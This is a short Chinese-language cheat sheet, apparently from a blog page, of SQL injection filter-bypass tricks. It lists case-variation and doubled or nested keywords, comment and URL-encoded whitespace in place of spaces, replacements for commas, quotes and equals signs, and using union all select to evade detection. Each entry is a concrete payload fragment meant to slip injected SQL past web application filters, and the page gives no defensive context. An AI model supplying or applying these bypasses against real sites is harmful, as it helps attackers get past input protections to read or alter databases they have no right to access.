大小写变形:or — Or、oR
等价替换:and — &&、or — ||、 xor — |、 not — !
双写绕过:andand、oror (可能检测一个单词只去掉一个过滤词)
嵌套绕过:aandnd、oorr (aandnd检测到and并去除后,a+nd重新拼成and)
空格绕过:union/**/select 、
union/*aaa*/select 、
union/*!select*//*!database()*/
url中:%09、%0A、%0B、%0D、%20、%0C、%A0 在sql都会被认为是空白符
函数分割:concat/**/()
concat%250A()
逗号绕过: 原 select substr(database(),1,1)
替换成 select substr(database() from 1 for 1)
mid也可以这么表示 select mid(database() from 1 for 1)
引号绕过:where id='1234'
将1234转换为16进制ascii码,分别为31、32、33、34
用 where id=0x31323334 绕过引号
等号绕过:id = 1 替换成 id like 1
like、rlike、regexp也可用于等号绕过
用 in 也可以绕过等号
id = 1 替换成 id in ('1')
大于号小于号绕过
A > B 替换成 A NOT BETWEEN 0 AND B
对于 union select 整一块的检测 可以使用 union all select 来代替
网友评论